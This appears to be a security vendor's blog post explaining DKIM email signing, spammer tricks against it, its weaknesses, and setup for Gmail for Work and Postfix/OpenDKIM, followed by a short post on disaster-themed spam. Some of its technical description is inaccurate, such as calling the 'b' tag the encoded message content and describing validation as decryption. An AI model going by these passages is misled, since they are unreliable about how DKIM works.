DKIM-signed email delivery
1. Compose and send message.
User sends an email and it is accepted by the sender's mail server.
2. Create DKIM signature.
The mail server adds a new "DKIM signature" header. This header includes an electronic signature created with the private encryption key, the message's body, its headers, current time, and other parameters.
3. Transfer signed message.
Message with a new signed "DKIM signature" header is sent to the recipient.
4. Message reception and signature validation.
The recipient's mail client analyzes the DKIM header and gives a verdict based on the public key, whether the sender and email are legitimate or not.

The very last stage, message validation, is especially interesting.
Main milestones:

1. Sending DNS-request.
Mail client/service performs a DNS-request that includes the domain name from which allegedly the message was sent.
2. Public encryption key retrieval.
The corresponding TXT-record that includes a public key is extracted from the response body from the DNS-server
1. Every tag in the header is decrypted from Base64 to its text representation.
2. Received strings are decrypted using the previously retrieved public key.
4. Final verdict.
The last stage is to compare the body text and headers with the decrypted information from the DKIM header. Any sort of discrepancy leads to dkim=fail, whereas if the content matches the verdict is dkim=pass.

Typical DKIM signature headers comprises of a list of tags like "tag=value". Tags names have short names and usually are 1-2 characters long.

Example:

DKIM-Signature: v=1; a=rsa-sha1; c=relaxed; d=foursquare.com; h=from:to:subject:mime-version:content-type; s=smtpapi; bh=9UsnWtzRLBWT7hnQc8V2RF4Ua4M=; b=IgnW7QsK2LBp0VQJ4FJcLv9MmHBvD 2Ch6jPxQ/Hkz+TX2WXyWkGbScx4gbZeWj3trqN4LUVvTf2U+htG4Wsg6sQAKqvnC neTeDvcmm225CKji0+MSXL8VK6ble8mkk14EAwWDP8+DJMwL2f7v/wp6QEdd7jqY q/fX+TY5ChIYHQ= Tags and descriptions

Main tags:

Tag Tag description b message content (body + headers, encoded in Base64) bh hash of the canonicalized body part of the message(also in Base64) d domain name of the signing entity h list of signed headers

Tag Tag description a main algorithm to generate the signature v system version s selector subdividing the namespace for the "d=" (domain) tag c algorithm to use to convert the body and headers to the canonical form q list of query methods used to retrieve the public key x signature expiration time i identity of the client on behalf of which the message is signed (in quoted-printable) l body length count in the number of octets in the body included in the cryptographic hash t signature timestamp z copied header fields at the moment of signature generation Common attack methods on DKIM Simple attacks

First attempts to use DKIM by spammers were observed by us back in 2009. Originally, spammers tried to add headers with content that was far away from valid DKIM signatures. Spammers paid very small attention to the accuracy of the signature, what created some pretty interesting cases.

For example, spammers used the same header for all emails in this spam mailing (the genuine DKIM headers are actually different for non-identical messages since each of them is based the message body, headers, timestamps, and other unique factors).

Tags spoofing

Other spam samples show how spammers copied DKIM signature from the legitimate third-party website and for every email changed content of only one DKIM-tag, completely forgetting that other tags also depend on the message content and should have different values as well.

Similar mistakes systematically appeared in spam throughout the last years.

Some of the most popular of them:

1. Spammers correctly generate the "b"-tag which describes the message body, but forget about the "bh"-tag (hashed body).
2. Domain name specified in "d"-tag does not correspond to the sender, nor to any details information in the email at all.
3. Specified timestamp ("t"-tag) is not accurate and is related to some other date in the distant past.

Spammers are capable of setting up their own mail servers and domains in order to generate legitimate DKIM headers as the average system administrator would do. In spite of that, valid DKIM headers have been fairly uncommon in spam until recently.

This is largely due to the complexity of the installation process of the DKIM server side for the valid signatures generation. However, the number of domain names involved in the spam activity has increased significantly over time, therefore attacks on DKIM have become more efficient and profitable for spammers. For these reasons spammers had to learn how to skillfully operate DNS-records of their numerous domains.

In the example below we can see a perfectly valid DKIM signature along with a correct domain's  TXT-record which lead to the "dkim=pass" verdict when coupled together.

This extra work appears to be reasonable enough for spammers since many email services are more loyal to the messages with correct DKIM signatures, and spammers' mail eventually has higher chances not to be banned by anti-spam filters and end up in the user's mailbox.

In addition to simple checks for the "DKIM=fail" verdict in message headers, our Kaspersky Security for Linux Mail Server detects all email spam with mentioned spammers tricks. It either detects this mail as spam and forwards straight to the junk folder  or increases the spam rate of the message.

Vulnerabilities and weaknesses of DKIM
1. DKIM does not provide any guarantees.

It is not reasonable to rely solely on DKIM for the following reasons:

а) Spammers, as well as the average users, can correctly configure DKIM on their own website.
b) It is possible that some of mail coming from a single domain name does not have any DKIM headers. One example might be if the domain uses multiple mail servers with different configurations, although there might be many other scenarios.

Because of these reasons, the standard advises not to "penalize" any mail without DKIM signatures.

1. Lack of sustainability when message structure changes.

DKIM signature becomes invalid when the headers order is even slightly modified, when new headers are added, or when headers had any minor changes in their content. These kinds of changes are quite common and occur when the message is processed by the server-forwarder on the way to the recipient.

1. Short encryption keys are vulnerable.

All DKIM signatures signed with private keys shorter than 1024 bits in length are vulnerable according to the research by Zach Harris published in Wired in October 2012. Moreover, Harris managed to crack the 384-bit authentication in just 24 hours using his laptop only. You can read about other requirements to DKIM in our blog article about this news.

Interestingly enough, Harris had successfully sent emails to Google founders Sergey Brin and Larry Page in 2012 by spoofing their DKIM headers and formatting messages as their personal correspondence between each other.

Recently, numerous companies including Google and Microsoft started to intensively promote the use of encryption keys with the sufficient length. Despite that, there are still a great number of insecure mail servers signing DKIM headers with private keys of not cryptographically strong lengths.

1. Correctly created DKIM signature confirms that the received message has been indeed sent from the specified domain.
2. DKIM is a powerful tool for building a domain reputation based on the variety of messages received throughout a period of time (often used by diverse anti-spam solutions and by members of the DKIM reputation project)
3. DKIM gives another indicator which helps to make a decision on the client side, whether to trust the sender or not.
How to use DKIM?

DKIM is used in combination with other technologies of mail reputational analysis. The majority of modern email services and mail clients already support DKIM verification. However, it is useful to ensure that DKIM is configured correctly if you use your own domain name, or if you want to set up DKIM on your own mail server.

DKIM installation on the corporate mail service

Many corporate email services support DKIM installation with only several clicks required. However, the domain administrator will have to manually edit the DNS zone file to add corresponding TXT-records.

For example, this is how the DKIM activation process looks like for Gmail for Work service.

2. Choose "Apps" in the list of menu items.
3. Then choose Gmail from the list of apps.
4. Confirm the intention to activate the "Email-authentication" and click "Generate new record".
5. Service will generate the content of new TXT-record that you have to store in your domain's DNS zone file. To do that, open your domain's administrator panel, find a section for manually editing the domain zone, add a new record with TXT type, and copy there all values offered by Gmail.
6. Final content of the zone record should be similar to:

google._domainkey IN TXT v=DKIM1; k=rsa; p=(generated public key)

7. As an extra step, you can create another TXT-record in order to support SPF policy as well. For Gmail for Work service this record should be:
8.         @ IN TXT  v=spf1 include:_spf.google.com ~all

This record authorizes Google servers to send mail from your domain name, and therefore the reversed verification on the recipient side will result in the spf=pass verdict.

9. Shortly after you finish all previous steps (often already after 20 minutes, but may take up to 48 hours), all emails sent from your domain start to be labeled with dkim=pass and spf=pass flags, confirming the legitimacy of the sender.

If you have any problems with installation, the DKIM installation manual and SPF record manual from Google Apps should be helpful. For the details on the zone file editing, refer to your domain name registrant documentation.

DKIM installation on your own mail server

Setting up DKIM on your own mail server is a less trivial process. We will give a short explanation of the DKIM installation procedure for Postfix mail agent on the server with Debian-like distribution. DKIM installation for other mail servers and OS is analogous. For more details, refer to the documentation on the interested email client and the information at the OpenDKIM project website.

Main stages:

1. Install Postfix MTA and the following OpenDKIM packages from the official repositories depending on your distribution
2.         postfix opendkim opendkim-tools

3. Generate the private key to be able to create DKIM signatures in the future. You will need to specify your domain name, as well as the selector name that can be chosen arbitrarily (used later).
4.         \$ opendkim-genkey -r -s selector -d yourdomain.com

Store the generated key to the arbitrary file in the server directory with limited access and specify the path to it in the configuration file below.

5. Copy the example file from /etc/opendkim/opendkim.conf.sample to /etc/opendkim/opendkim.conf and edit the following options depending on your domain name and the chosen selector name:
6.         /etc/opendkim/opendkim.conf
Domain                yourdomain.com
KeyFile                /path/to/the/key
Selector                selector
Socket                  inet:8891@localhost
UserID                 opendkim

7. Create new TXT-record in your DNS zone file (see also examples of zone file configuration above in the example for Gmail for Work service). Do not forget to specify your selector name picked on the previous steps. The record should look similar to:
8.         selector._domainkey IN TXT v=DKIM1; k=rsa; p=...

You can validate the TXT-record of your domain with a simple request using host tool:

host -t TXT selector._domainkey.yourdomain.com

However, take into account it might take up to several hours to have your TXT-record updated because DNS providers cache data on their side.

9. The last stage is the integration of opendkim to Postfix. Edit the configuration file /etc/postfix/main.cf and add the following data to it:
10.         /etc/postfix/main.cf
smtpd_milters = inet:localhost:8891
non_smtpd_milters = inet:localhost:8891

11. The installation is finished and you can run opendkim service.
12.         sudo service opendkim start

Indicators of DKIM-validated mail

The majority of public email services support DKIM signatures, validate them transparently for the user, and use the received verdicts for their own anti-spam systems.

Some services try to make DKIM-check more visual and mark emails that successfully pass DKIM validation.

For example, Gmail service marks emails with a 'secured connection' icon if the sender is verified and this email passes some internal validations for the sender.

You can enable this functionality in Settings → Labs → Authentication icon for verified senders.

As another example, Yandex.Mail service supports DKIM-indicators by default. It shows the  icon when this email has a valid electronic signature.

Alternatives to DKIM

DKIM technology has various competitors and has become a basis for other sender authentication solutions.

1. Sender Policy Framework (SPF)

SPF also uses DNS for storing information, and is a tool for verification the sender's domain. As opposed to DKIM, SPF stores not the public key in DNS records, but the list of the servers authorized to send email messages. Overall, SPF allows to verify the authenticity of the domain name, but not the message text or its headers.

Nonetheless, SPF technology is more widespread than DKIM and is supported by the vast majority of mail clients and email services.

1. Pretty Good Privacy (PGP)

PGP is currently the most popular algorithm for email encryption in the world. It allows to encrypt the entire message under assumption that both sides generate public/private keys in advance and exchange the public keys. DKIM does not try to compete with PGP while being just an extension of the ordinary concept of email-message with the ability to validate the sender.

1. Domain-based Message Authentication, Reporting and Conformance (DMARC).

DMARC is a relatively fresh authentication method that combines both SPF and DKIM technologies. This system was presented for the first time in 2011 and numerous top vendors expressed interest in it. In 2013 DMARC was already protecting more than half of the world mailbox while still not yet being an official standard, which once again proves the success of DKIM technology that underlies DMARC.

### Spammers against hurricanes and terrorist attacks

Wed, 02/04/2015 - 06:00

Nothing holds a potential reader's attention stronger than a story about a catastrophe. A few days ago we came across an excellent example of a mass mailing where spammers took full advantage of this universal fascination with destruction.

The mass mailing in question is intended primarily for the US users. In it, the spammers list a series of recent tragedies and predict that worse is yet to come. They also propose a solution – just click the link to find out how to protect yourself and your family from harm.

In the email below the authors mention Sandy hurricane that hit North America about two years ago.

The spammers recall the crisis that faced many Americans after that hurricane – stranded in badly-damaged houses without food or electricity. The author of the email claims to know a guy who lived right in the center of the storm, in a wind-lashed city in New Jersey, and who suffered no shortages of anything. Click the link, and the spammers promise you'll enjoy the same good fortune if disaster strikes your neighborhood.

Yet another example mentions the recent terror attacks in France.

In this email, the spammers paint a bleak picture of America's immediate future, claiming the government is hiding the truth but expects blood to flow in the streets as it did in France. But there is an answer – just click the link and you'll find out how to protect your family from any attack.

When users follow these links they are taken to sites that are also striking. They start with an audio presentation of a confidential story told by a well-wisher.

The design of the site, the voice and the details of the story differ but the essence is the same: anyone who spends a few minutes to listen to the audio will be introduced to our hero, understand why he decided to share his warnings about the disasters in store for America and, eventually, find out how to build a miracle machine that can be easily assembled in your own home. The link to the video tutorial on self-assembly of this life-saving device costs just a few dozen dollars and shows you how to create a generator so simple that even your grandmother could make it work. Happy buyers don't only get an autonomous source of energy to be used in the event of disaster; they ca also save on household energy bills.

The audio is supported by a presentation which displays the speaker's text. So even users who cannot turn on the sound need only have the patience to watch for a few minutes, see the offer and reward the spammers for their efforts to spread paranoia by sending them their hard-earned dollars.